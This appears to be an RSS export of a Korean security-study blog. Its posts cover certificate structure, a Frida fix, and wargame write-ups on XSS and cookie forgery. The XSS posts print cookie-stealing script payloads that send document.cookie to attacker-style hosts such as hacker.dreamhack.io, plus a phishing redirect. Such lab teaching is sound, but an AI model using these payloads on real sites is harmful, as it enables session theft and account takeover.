<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>hyeon_iyy.log</title>
        <link>https://velog.io/</link>
        <description>Go Big or Go Home</description>
        <lastBuildDate>Mon, 06 Jan 2025 01:22:56 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>hyeon_iyy.log</title>
            <url>https://velog.velcdn.com/images/hyeon_iyy/profile/7e98f0d0-f173-4345-af24-bd547d65f4c9/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. hyeon_iyy.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/hyeon_iyy" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[공동인증서 및 전자서명 분석]]></title>
            <link>https://velog.io/@hyeon_iyy/%EA%B3%B5%EB%8F%99%EC%9D%B8%EC%A6%9D%EC%84%9C-%EB%B0%8F-%EC%A0%84%EC%9E%90%EC%84%9C%EB%AA%85-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@hyeon_iyy/%EA%B3%B5%EB%8F%99%EC%9D%B8%EC%A6%9D%EC%84%9C-%EB%B0%8F-%EC%A0%84%EC%9E%90%EC%84%9C%EB%AA%85-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Mon, 06 Jan 2025 01:22:56 GMT</pubDate>
            <description><![CDATA[<h2 id="1-공동인증서-구조">1. 공동인증서 구조</h2>
<p>공동인증서는 단순한 파일이 아니라, 내부에 다양한 정보와 보안 매커니즘을 포함한 인증체계이다.
인증서 내부에는 복호화키인 주체의 공개키, 주체, 발급자, 시리얼정보, VID 등 다양한 정보가 포함된다.</p>
<p align="center">
    <img src="https://velog.velcdn.com/images/hyeon_iyy/post/c37f10db-6828-4064-9e6d-66bef98e90d1/image.png" alt="설명" style="width:400px; height:auto;" />
</p>

<ul>
<li><strong>발급자의 서명</strong>
1) 인증서 내부 값들을 HASH 알고리즘을 통재 지문을 생성 
2) 해당 지문을 발급자(인증기관/CA)의 개인키로 암호화 
3) 암호화된 값을 = <em>발급자의 서명</em> 이라고 부르며, 공동인증서에 포함</li>
<li><blockquote>
<p>서명을 통해 공동인증서의 무결성과 신뢰성이 보장됨</p>
</blockquote>
</li>
</ul>
<br>

<h3 id="1-1-내부-데이터-확인하기">1-1. 내부 데이터 확인하기</h3>
<ul>
<li>certutil, openssl, ASN1.decoder 등을 통해 공동인증서 내부의 값을 분석 가능</li>
<li>서버에서는 공동인증서 내부의 값(CN, DN, Serial, VID)을 추출하여 유효기간 및 사용자 검증을 실시하므로 해당 데이터 필드 검증 필요</li>
</ul>
<p align="center">
    <img src="https://velog.velcdn.com/images/hyeon_iyy/post/c140b552-8b08-4d5b-bfd5-e9d270cc46ba/image.png" alt="설명" style="width:600px; height:auto;" />
</p>

<p align="center">
    <img src="https://velog.velcdn.com/images/hyeon_iyy/post/55db1514-9b2a-4863-8553-394b81821d23/image.png" alt="설명" style="width:600px; height:auto;" />
</p>

<p align="center">
    <img src="https://velog.velcdn.com/images/hyeon_iyy/post/7e4bc0ef-006b-42cf-ad2d-2fa952080d55/image.png" alt="설명" style="width:600px; height:auto;" />
</p>

<ul>
<li>*<em>취약점 점검 시 주의할 점 *</em><ul>
<li>서버단에서 인증서의 명의자에 대한 검증필수 
ex) 고객정보(주민등록번호)로 인증서가 발급되었음을 확인해야함 (인증서VID검증)</li>
</ul>
</li>
<li>검증로직이 생략될 경우, 타인의 인증서를 이용하여 서비스가입/이용 가능</li>
</ul>
<br>

<hr>
<h2 id="2-전자서명-과정">2. 전자서명 과정</h2>
<p align="center">
    <img src="https://velog.velcdn.com/images/hyeon_iyy/post/ef3721f1-739e-45b8-9434-6e9175405f57/image.png" alt="설명" style="width:700px; height:auto;" />
</p>

<p><strong>서명(Signing)</strong>은 Data를 해쉬(HASH)된 값으로 나타낸 뒤, 개인키로 RSA로 암호화하는 과정을 수행한다.
암호화된 해쉬값이 전자서명이며, 송신자의 신원을 증명하는 역할을 한다.
이후, 전자서명에 공동인증서를 첨부하고, 원본데이터와 함께 수신자에게 전달된다.</p>
<p><strong>검증(verification)</strong>에서는 공개키를 사용해 암호화를 복호화시킨 해쉬값과 Data를 해쉬로 변환한 값을 비교하여 검증한다. 이를 통해 무결성과 인증을 보장하게 된다.</p>
<br>

<hr>
<h2 id="3-공동인증서-본인확인-식별번호vid">3. 공동인증서 본인확인 식별번호(VID)</h2>
<h3 id="1-vid-값의-생성-방식">1) VID 값의 생성 방식</h3>
<ul>
<li>VID(Value Identifier)는 개인의 <strong>고유 식별 정보</strong>(예: 주민등록번호 또는 고유한 ID)를 암호학적으로 안전한 방법으로 해시화하여 생성한다</li>
<li>일반적으로 <strong>SHA-256</strong> 같은 해시 알고리즘을 사용한다. 해시 알고리즘은 입력값(예: 주민등록번호)으로 고정된 길이의 해시 값을 생성한다.</li>
<li>예를 들어, 주민등록번호 123456-7890123가 입력값이라면, 이를 SHA-256으로 해시화하여 32바이트의 해시 값이 생성된다. 이 해시 값이 VID로 사용된다.</li>
</ul>
<p>=&gt; VID = h(h(IDN, R), 가입자의 식별번호 IDN, 가입자의 개인키에서 추출한 R값으로 가상 식별번호 VID 값을 생성한다</p>
<h3 id="2-복호화-가능성">2) 복호화 가능성</h3>
<ul>
<li>해시 함수는 일방향 함수임. 즉, 입력값으로부터 해시 값을 계산하는 것은 쉽지만, 해시 값만으로 원래의 입력값을 알아내는 것은 매우 어렵거나 불가능하다.</li>
<li>SHA-256 같은 해시 알고리즘은 설계상 복호화할 수 없으며, 이는 보안을 강화하기 위한 것이다.</li>
<li>VID 값은 입력된 개인 정보를 보호하기 위해 해시화된 것이기 때문에, 이 값을 복호화하여 원본 정보를 얻는 것은 불가능하다.</li>
</ul>
<h3 id="3-vid값-확인">3) VID값 확인</h3>
<p align="center">
    <img src="https://velog.velcdn.com/images/hyeon_iyy/post/29357537-397a-4ddb-b1c5-fb9561633665/image.png" alt="설명" style="width:1000px; height:auto;" />
</p>

<p>ASN.1로 인코딩된 데이터(예: X.509 인증서, 네트워크 프로토콜 메시지 등)를 디코딩하면 구조화된 데이터를 읽을 수 있게 된다. 온라인 ASN.1 decoder를 사용하여 확인가능하다.</p>
<p>VID값의 오프셋 위치 : 3D8- 3F7 </p>
<p>(32byte) 
hex : 5E A4 DD 7A 5E 5D 87 5A 86 C0 ............
값 : 5EA4DD7A5E5D875A86C0F5A48DD000.............</p>
<br>

<hr>
<p>참고자료
<a href="https://d2.naver.com/helloworld/744920">https://d2.naver.com/helloworld/744920</a>
<a href="https://epicarts.tistory.com/156">https://epicarts.tistory.com/156</a>
<a href="https://en.wikipedia.org/wiki/Electronic_signature">https://en.wikipedia.org/wiki/Electronic_signature</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[frida 실행 시 VM::AttachCurrentThread failed: -1 에러 조치 방법]]></title>
            <link>https://velog.io/@hyeon_iyy/frida-%EC%8B%A4%ED%96%89-%EC%8B%9C-VMAttachCurrentThread-failed-1-%EC%97%90%EB%9F%AC-%EC%A1%B0%EC%B9%98-%EB%B0%A9%EB%B2%95</link>
            <guid>https://velog.io/@hyeon_iyy/frida-%EC%8B%A4%ED%96%89-%EC%8B%9C-VMAttachCurrentThread-failed-1-%EC%97%90%EB%9F%AC-%EC%A1%B0%EC%B9%98-%EB%B0%A9%EB%B2%95</guid>
            <pubDate>Mon, 24 Apr 2023 06:24:19 GMT</pubDate>
            <description><![CDATA[<h3 id="문제-발생">문제 발생</h3>
<p>Android 10에서 발생하는 문제
frida spawn이 제대로 동작하지 않음</p>
<br>


<p><img src="https://velog.velcdn.com/images/hyeon_iyy/post/0d709c2e-a28f-42c8-bc02-258124f73479/image.png" alt=""></p>
<hr>
<h3 id="해결-방법">해결 방법</h3>
<p>USAP를 비활성화하자.
Zygote Preforking 을 비활성화
setprop persist.device_config.runtime_native.usap_pool_enabled false
<br></p>
<pre><code>  $su
  #setprop persist.device_config.runtime_native.usap_pool_enabled false
  #getprop | grep usap</code></pre><br>

<p>참고 자료 : 
<a href="https://github.com/frida/frida-core/issues/376">https://github.com/frida/frida-core/issues/376</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[WEB] XSS_1]]></title>
            <link>https://velog.io/@hyeon_iyy/WEB-XSS1</link>
            <guid>https://velog.io/@hyeon_iyy/WEB-XSS1</guid>
            <pubDate>Thu, 16 Mar 2023 10:33:13 GMT</pubDate>
            <description><![CDATA[<h2 id="1-dreamhack-xss_1번-문제">1. Dreamhack XSS_1번 문제</h2>
<ul>
<li>문제 풀이 사이트에서 3가지의 메뉴를 확인 할 수 있음.<ul>
<li>vuln , memo, flag 메뉴가 존재</li>
</ul>
</li>
</ul>
<h3 id="1-엔드포인트-vuln">1. 엔드포인트: /vuln</h3>
<ul>
<li>이용자가 전달한 xss 파라미터의 값을 출력<ul>
<li>이용자가 입력한 값을 그대로 출력하기 때문에 XSS가 발생</li>
</ul>
</li>
</ul>
<pre><code class="language-python">@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;) #이용자가 입력한 vlun 인자를 가져옴
    return param #이용자의 입력값을 화면 상에 표시</code></pre>
<br>

<h3 id="2-엔드포인트-memo">2. 엔드포인트: /memo</h3>
<ul>
<li>이용자가 전달한 memo파라미터 값을 render_template 함수를 통해 기록 및 출력<ul>
<li>render_template 함수는 HTML엔티티코드로 변환해 저장하므로 XSS발생하지 않음</li>
</ul>
</li>
</ul>
<pre><code class="language-python">@app.route(&quot;/memo&quot;) #memo 페이지 라우팅
def memo(): #memo 함수 선언
    global memo_text #메모를 전역변수로 참조
    text = request.args.get(&quot;memo&quot;, &quot;&quot;) #사용자가 전송한 memo입력값을 가져옴
    memo_text += text + &quot;\n&quot; #사용자가 전송한 memo입력값을 memo_text에 추가
    return render_template(&quot;memo.html&quot;, memo=memo_text) #memo_text를 render_template를 거쳐 사이트에 출력</code></pre>
<br>

<h3 id="3-엔드포인트-flag">3. 엔드포인트: /flag</h3>
<p><strong>1) 엔드포인트: /flag 분석</strong></p>
<pre><code class="language-python">@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;: 
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;)
        if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
            return &#39;&lt;script&gt;alert(&quot;wrong??&quot;);history.go(-1);&lt;/script&gt;&#39;

        return &#39;&lt;script&gt;alert(&quot;good&quot;);history.go(-1);&lt;/script&gt;&#39;</code></pre>
<ul>
<li>GET : 이용자에게 URL을 입력 받는 페이지를 제공</li>
<li>POST : param 파라미터에 값과 쿠키를 포함 + <strong>check_xss</strong>함수 호출<ul>
<li><strong>check_xss</strong> : <strong>read_url</strong> 함수를 호출해 <strong>vlun</strong> 엔드포인트에 접속</li>
<li>check_xss로 전달하는 과정에서 “vlaue” : FLAG.strip() 을 확인함.
여기서 FLAG 는 FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read() 으로 정답 값으로 유추</li>
</ul>
</li>
</ul>
<br>

<p>2<strong>) check_xss 함수 분석</strong></p>
<pre><code class="language-python">def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)</code></pre>
<ul>
<li>여기서 url이 127.0.0.1 임을 통해 “입력받은 URL을 확인하는 봇” 이 구현됨을 확인</li>
<li>입력 받은 param값을 담은 url + cookie의 값이 ⇒ read_url()에게 전달</li>
</ul>
<br>

<p><strong>3) read_url 함수 분석</strong></p>
<pre><code class="language-python">def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(&quot;/chromedriver&quot;, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;) #로컬호스트 환경에서 웹 페이지를 접속
        driver.add_cookie(cookie) #전달받은 cookie를 쿠키로 추가함
        driver.get(url) # 매개변수로 받아온 사용자가 입력한 param을 포함한 url에 접속
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True</code></pre>
<ul>
<li>로컬호스트 환경에서 웹 페이지 접속 후, FLAG값을 쿠키로 추가하며</li>
<li>사용자로부터 입력받은 XSS값을 이용해 XSS페이지를 실행</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>‘/flag’ 에서 param값을 입력 후 submit 할 시 FLAG값을 쿠키에 심어서
‘127.0.0.1:8000’ 도메인으로 웹 서버 브라우저에 저장</li>
<li>‘flag’에서 입력한 param을 통해 완성된 url로 브라우저를 띄움</li>
<li>2번과정에서 쿠키에 FLAG가 심어지므로, 
param에 입력한 값을 통해 memo에 기록을 남길 수 있음</li>
</ol>
<br>

<h3 id="4-flag-출력">4. FLAG 출력</h3>
<p><strong>1) 삽입 스크립트</strong>
<img src="https://velog.velcdn.com/images/hyeon_iyy/post/06cc26ad-4c3d-4ae5-a119-790b0c8a2109/image.png" alt=""></p>
<pre><code class="language-jsx">&lt;script&gt;location.href=&quot;http://127.0.0.1:8000/memo?memo=&quot;+document.cookie&lt;/script&gt;</code></pre>
<pre><code class="language-jsx">&lt;script&gt;location.href=&quot;/memo?memo=&quot;+document.cookie&lt;/script&gt;</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[WEB] XSS]]></title>
            <link>https://velog.io/@hyeon_iyy/WEB-XSS</link>
            <guid>https://velog.io/@hyeon_iyy/WEB-XSS</guid>
            <pubDate>Thu, 16 Mar 2023 10:26:10 GMT</pubDate>
            <description><![CDATA[<h2 id="1-clientside-xss">1. <strong>ClientSide: XSS</strong></h2>
<h3 id="1-xss">1) XSS</h3>
<ul>
<li>클라이언트 사이드 취약점 중 하나, 웹 리소스에 악성 스크립트를 삽입해 실행 가능<ul>
<li>이를 통해, 특정 계정의 세션정보 탈취하고 해당 계정으로 기능 수행 가능</li>
</ul>
</li>
<li>SOP 보안 정책이 등장하면서 다른 오리진에서는 정보 읽는 행위가 불가능해졌지만,
우회 하는 다양한 기술을 통해 XSS공격은 지속되고 있음</li>
</ul>
<br>


<h3 id="2-xss-발생-예시와-종류">2) XSS 발생 예시와 종류</h3>
<ul>
<li>이용자가 삽입한 내용을 출력하는 기능에서 발생 (게시물,댓글 등)</li>
<li>웹 리소스를 이용자에게 보여줄 때 HTML,CSS,JS와 같은 코드가 포함된 게시물을 조회할 경우
변조된 페이지를 보거나 스크립트가 실행 가능</li>
<li>XSS 종류</li>
</ul>
<pre><code>| Stored XSS | XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS |
| --- | --- |
| Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS |
| DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSSFragment는 서버 요청/응답 에 포함되지 않습니다. |
| Universal XSS | 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS |</code></pre><br>


<h3 id="3-xss-스크립트의-예시">3) XSS 스크립트의 예시</h3>
<pre><code class="language-jsx">&lt;script&gt;
// &quot;hello&quot; 문자열 alert 실행.
alert(&quot;hello&quot;);
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = &quot;name=test;&quot;;
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// &quot;http://hacker.dreamhack.io/?cookie=현재페이지의쿠키&quot; 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = &quot;http://hacker.dreamhack.io/?cookie=&quot; + document.cookie;
&lt;/script&gt;</code></pre>
<pre><code class="language-jsx">&lt;script&gt;
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write(&quot;Hacked By DreamHack !&quot;);
&lt;/script&gt;</code></pre>
<pre><code class="language-jsx">&lt;script&gt;
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = &quot;http://hacker.dreamhack.io/phishing&quot;; 
// 새 창 열기
window.open(&quot;http://hacker.dreamhack.io/&quot;)
&lt;/script&gt;</code></pre>
<br>

<h3 id="4-stored-xss">4) Stored XSS</h3>
<ul>
<li>서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS</li>
</ul>
<br>

<h3 id="5-reflected-xss">5) Reflected XSS</h3>
<ul>
<li>검색 문자열에 악성 스크립트가 포함되어 있다면 XSS 발생</li>
<li>타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야함<ul>
<li>악성 스크립트 포함 여부를 눈치챌 수 있기 때문에 Click Jacking 또는 Open Redirect 와 연계하여 사용</li>
</ul>
</li>
</ul>
<br>
<br>

<h2 id="2-exercise-xss">2. <strong>Exercise: XSS</strong></h2>
<h3 id="1-엔드포인트-분석">1) 엔드포인트 분석</h3>
<pre><code class="language-python">@app.route(&#39;/memo&#39;) # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get(&#39;memo&#39;, &#39;&#39;) # 사용가 전송한 memo 입력값을 가져옴
    memo_text += text + &#39;\n&#39; # 사용가 전송한 memo 입력값을 memo_text에 추가
    return render_template(&#39;memo.html&#39;, memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력</code></pre>
<pre><code class="language-python">def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(&quot;/chromedriver&quot;, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)

@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;)
        if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
            return &#39;&lt;script&gt;alert(&quot;wrong??&quot;);history.go(-1);&lt;/script&gt;&#39;
        return &#39;&lt;script&gt;alert(&quot;good&quot;);history.go(-1);&lt;/script&gt;&#39;</code></pre>
<ul>
<li>GET : 이용자에게 URL을 입력 받는 페이지를 제공</li>
<li>POST : param파라미터 값과 쿠키에 FLAG를 포함해 check_xss함수를 호출</li>
</ul>
<br>

<h3 id="2-취약점-분석">2) 취약점 분석</h3>
<ul>
<li>이용자의 입력 값을 페이지에 출력 할 때 주의사항<ul>
<li>‘render_template’ 함수를 사용해 출력 시 템플릿 변수를 기록 할 때 HTML 엔티티코드로 변환 해 저장하기 때문에 XSS가 발생하지 않음</li>
</ul>
</li>
</ul>
<br>

<h3 id="3-익스플로잇">3) 익스플로잇</h3>
<ul>
<li><p>탈취한 쿠키를 전달 받기 위한 조건</p>
<ul>
<li><p>외부에서 접근 가능한 웹 서버를 사용</p>
</li>
<li><p>(문제의 memo) 엔드 포인트를 사용</p>
<table>
<thead>
<tr>
<th>속성</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>location.href</td>
<td>전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값입니다.</td>
</tr>
<tr>
<td>document.cookie</td>
<td>해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다.</td>
</tr>
</tbody></table>
</li>
</ul>
</li>
</ul>
<br>

<h3 id="4-쿠키-탈취">4) 쿠키 탈취</h3>
<ul>
<li>memo 페이지 사용</li>
</ul>
<pre><code class="language-jsx">&lt;script&gt;location.href = &quot;/memo?memo=&quot; + document.cookie;&lt;/script&gt;</code></pre>
<ul>
<li>웹 서버 사용</li>
</ul>
<pre><code class="language-jsx">&lt;script&gt;location.href = &quot;http://RANDOMHOST.request.dreamhack.games/?memo=&quot; + document.cookie;&lt;/script&gt;</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[WEB] Cookie & Session]]></title>
            <link>https://velog.io/@hyeon_iyy/WEB-Cookie-Session</link>
            <guid>https://velog.io/@hyeon_iyy/WEB-Cookie-Session</guid>
            <pubDate>Wed, 22 Feb 2023 08:01:43 GMT</pubDate>
            <description><![CDATA[<h2 id="1-background-cookie--session">1. <strong>Background: Cookie &amp; Session</strong></h2>
<h3 id="1-쿠키">1) 쿠키</h3>
<ul>
<li>클라이언트의 정보 기록과 상태 정보를 표현하는 용도로 사용</li>
<li>쿠키는 key와 value로 이루어진 일종의 단위</li>
<li>아래와 같은 HTTP 특징으로 서버는 클라이언트를 기억할 수 없기 때문에 쿠키를 사용</li>
</ul>
<blockquote>
<p><strong>HTTP 프로토콜 특징</strong>
<strong>Connectionless</strong> : 요청 하나에 하나의 응답을 한 후 연결을 종료 
<strong>Stateless :</strong> 통신이 끝난 후 상태 정보를 저장하지 않는 것</p>
</blockquote>
<br>

<h3 id="2-쿠키변조">2) 쿠키변조</h3>
<ul>
<li>쿠키는 클라이언트에 저장되고, 요청에 포함되는 정보</li>
<li>따라서, 악의적인 클라이언트가 쿠키 정보를 변조해 서버에 요청을 보낼 수 있음</li>
<li>서버가 검증 없이 쿠키를 통해 이용자의 인증정보를 식별한다면 타 이용자를 사칭해 정보를 탈취할 수 있음
ex) Cookie : id=admin;</li>
</ul>
<br>

<h3 id="3-세션">3) 세션</h3>
<ul>
<li>쿠키에 인증 상태를 저장하지만, 클라이언트가 인증정보를 변조할 수 없게 <strong>세션</strong>을 사용</li>
<li>작동 방식 : 인증정보를 서버에 저장하고, 데이터에 접근 할 수 있는 키(랜덤 문자열)을 만들어 클라이언트에게 전달<ul>
<li>해당 키를 <strong>Session ID</strong>라고 함</li>
</ul>
</li>
<li>브라우저는 해당 키를 쿠키에 저장하고 HTTP요청을 보낼 때 사용</li>
<li>서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인
ex) Cookie: session=nhmuifinwkernejrwbwkja;<blockquote>
<p><strong>쿠키</strong>는 데이터 자체를 이용자가 저장 / <strong>세션</strong>은 서버가 저장</p>
</blockquote>
</li>
</ul>
<br>

<h3 id="4-쿠키-적용법">4) 쿠키 적용법</h3>
<ul>
<li>쿠키는 클라이언트에 저장되기 때문에 조회,수정,추가 가능하며 만료시간을 지정할 수 있음
만료시간 이후에는 클라이언트에서 쿠키가 삭제됨</li>
<li><strong>서버</strong> : HTTP 응답 헤더에 쿠키 설정 헤더 (Set-Cookie)를 추가하면 클라이언트의 브라우저가 쿠키를 설정</li>
<li><em>클라이언트*</em> : 자바스크립트를 사용해 쿠키를 설정</li>
<li><code>Console</code>탭 &gt;  <code>document.cookie</code>를 입력하면 쿠키 정보를 확인가능<ul>
<li>쿠키 옵션(HttpOnly)에 따라 자바스크립트에서 쿠키 확인이 불가능</li>
</ul>
</li>
<li><code>Application</code>탭 &gt;  <code>Cookies</code>를 펼치면 쿠키 정보 확인가능</li>
</ul>
<br>

<h3 id="5-세션-활용">5) 세션 활용</h3>
<ul>
<li>쿠키에는 세션정보가 저장되어 있고, 서버는 이를 통해 이용자를 식별하고 인증 처리함</li>
<li>공격자가 이용자의 쿠키를 훔칠 수 있으면, 세션에 해당하는 이용자의 인증상태를 훔칠 수 있음
== 이를 <strong>세션 하이재킹(Session Hijacking)</strong><br>

</li>
</ul>
<hr>
<h2 id="2-exercise-cookie">2. <strong>Exercise: Cookie</strong></h2>
<h3 id="1-엔드포인트-">1) 엔드포인트: /</h3>
<ul>
<li>쿠키에 존재하는 username이 “admin”일 경우 FLAG를 출력하는 문제<pre><code class="language-python">@app.route(&#39;/&#39;) # / 페이지 라우팅 
def index():
    username = request.cookies.get(&#39;username&#39;, None) # 이용자가 전송한 쿠키의 username 입력값을 가져옴
    if username: # username 입력값이 존재하는 경우
        return render_template(&#39;index.html&#39;, text=f&#39;Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}&#39;) # &quot;admin&quot;인 경우 FLAG 출력, 아닌 경우 &quot;you are not admin&quot; 출력
    return render_template(&#39;index.html&#39;)</code></pre>
</li>
</ul>
<br>


<h3 id="2-엔드포인트-login">2) 엔드포인트: /login</h3>
<ul>
<li><p>메소드 요청마다 다른 기능을 수행 하는 것을 확인 가능</p>
<ul>
<li>GET : username과 password를 입력할 수 있는 로그인 페이지 제공</li>
<li>POST : 입력받은 username과 password값을 users 변수값과 비교
ex) 손님 계정의 비밀번호는 “guest”, 관리자 비밀번호는 파일에서 읽어온 FLAG임을 확인<pre><code class="language-python">@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;]) # login 페이지 라우팅, GET/POST 메소드로 접근 가능
def login():
if request.method == &#39;GET&#39;: # GET 메소드로 요청 시
    return render_template(&#39;login.html&#39;) # login.html 페이지 출력
elif request.method == &#39;POST&#39;: # POST 메소드로 요청 시
    username = request.form.get(&#39;username&#39;) # 이용자가 전송한 username 입력값을 가져옴
    password = request.form.get(&#39;password&#39;) # 이용자가 전송한 password 입력값을 가져옴
    try:
        pw = users[username] # users 변수에서 이용자가 전송한 username이 존재하는지 확인
    except: 
        return &#39;&lt;script&gt;alert(&quot;not found user&quot;);history.go(-1);&lt;/script&gt;&#39; # 존재하지 않는 username인 경우 경고 출력
    if pw == password: # password 체크
        resp = make_response(redirect(url_for(&#39;index&#39;)) ) # index 페이지로 이동하는 응답 생성
        resp.set_cookie(&#39;username&#39;, username) # username 쿠키 설정
        return resp 
    return &#39;&lt;script&gt;alert(&quot;wrong password&quot;);history.go(-1);&lt;/script&gt;&#39; # password가 동일하지 않은 경우</code></pre>
<pre><code class="language-python">try:
    FLAG = open(&#39;./flag.txt&#39;, &#39;r&#39;).read() # flag.txt 파일로부터 FLAG 데이터를 가져옴.
except:
    FLAG = &#39;[**FLAG**]&#39;
users = {
    &#39;guest&#39;: &#39;guest&#39;,
    &#39;admin&#39;: FLAG # FLAG 데이터를 패스워드로 선언
}</code></pre>
</li>
</ul>
<br>


</li>
</ul>
<h3 id="3-취약점-분석">3) 취약점 분석</h3>
<ul>
<li><p>요청 패킷 내 username 변수가 포함된 쿠키에 의해 결정되어 문제가 발생함</p>
</li>
<li><p>서버는 별 다른 검증없이 이용자 요청에 포함된 쿠키를 신뢰하고 식별하기 때문에 공격자는 쿠키에 타 계정 정보를 삽입해 계정 탈취 가능</p>
<pre><code class="language-python">@app.route(&#39;/&#39;) # / 페이지 라우팅 
def index():
    username = request.cookies.get(&#39;username&#39;, None) # 이용자가 전송한 쿠키의 username 입력값을 가져옴
    if username: # username 입력값이 존재하는 경우
        return render_template(&#39;index.html&#39;, text=f&#39;Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}&#39;) # &quot;admin&quot;인 경우 FLAG 출력, 아닌 경우 &quot;you are not admin&quot; 출력
    return render_template(&#39;index.html&#39;)</code></pre>
<br>


</li>
</ul>
<h3 id="4-익스플로잇">4) 익스플로잇</h3>
<ul>
<li>쿠키에 존재하는 username을 “admin”문자열로 조작하면 해결 !</li>
<li>서버가 검증 없이 쿠키를 신뢰하고 인증 정보를 식별할 때 발생할 수 있는 문제점임<ul>
<li>이러한 문제점은 세션을 사용해 해결 가능하며</li>
<li>세션은 인증정보를 서버에 저장하고, 랜덤 키를 클라이언트에게 발급해 서비스 사용<br>

</li>
</ul>
</li>
</ul>
<hr>
<h2 id="3-mitigation-same-origin-policy">3. <strong>Mitigation: Same Origin Policy</strong></h2>
<h3 id="1-same-origin-policy-sop">1) <strong>Same Origin Policy (SOP)</strong></h3>
<ul>
<li>동일 출처 정책(Same Origin Policy, SOP)
: 클라이언트가 가져온 데이터를 악의적인 페이지에서 읽을 수 없도록 하는 보안 매커니즘</li>
</ul>
<ol>
<li>이용자가 웹 서비스에 접속할 때, 브라우저는 쿠키를 HTTP요청에 포함 시켜 전달
(웹 리소스를 통해 간접적으로 타 사이트에 접근할 때도 쿠키 전달)</li>
<li>이러한 특징 때문에, 악의적인 페이지가 클라이언트의 권한을 이용해 대상 사이트에 http 요청을 보내고, http응답 정보(쿠키 등)를 획득하는 코드를 실행 가능<br>

</li>
</ol>
